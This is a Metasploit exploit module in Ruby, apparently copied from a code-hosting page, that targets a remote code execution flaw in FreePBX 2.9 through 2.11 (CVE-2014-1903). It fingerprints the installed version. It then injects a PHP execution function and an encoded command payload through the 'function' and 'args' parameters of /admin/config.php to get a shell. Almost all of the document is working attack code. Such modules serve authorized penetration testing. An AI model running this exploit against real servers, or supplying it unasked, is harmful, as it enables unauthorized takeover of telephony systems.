101 lines
2.7 KiB
Ruby
101 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "FreePBX config.php Remote Code Execution",
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'Description' => %q{
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This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.
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It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
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parameters "function" and "args".
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'i-Hmx', # Vulnerability discovery
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'0x00string', # PoC
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'xistence <xistence[at]0x90.nl>' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2014-1903'],
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['OSVDB', '103240'],
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['EDB', '32214'],
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['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
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],
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['FreePBX', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Mar 21 2014",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
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])
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register_advanced_options(
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[
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OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
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])
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end
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def check
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vprint_status("Trying to detect installed version")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, "admin", "CHANGES")
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})
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if res and res.code == 200 and res.body =~ /^(.*)$/
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version = $1
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else
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return Exploit::CheckCode::Unknown
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end
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vprint_status("Version #{version} detected")
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if version =~ /2\.(9|10|11)\.0/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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rand_data = rand_text_alpha_lower(rand(10) + 5)
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print_status("Sending payload")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, "admin", "config.php"),
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'vars_get' => {
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"display" => rand_data,
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"handler" => "api",
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"function" => datastore['PHPFUNC'],
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"args" => payload.encoded
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}
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})
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# If we don't get a 200 when we request our malicious payload, we suspect
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# we don't have a shell, either.
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if res and res.code != 200
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print_error("Unexpected response, exploit probably failed!")
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end
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end
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end
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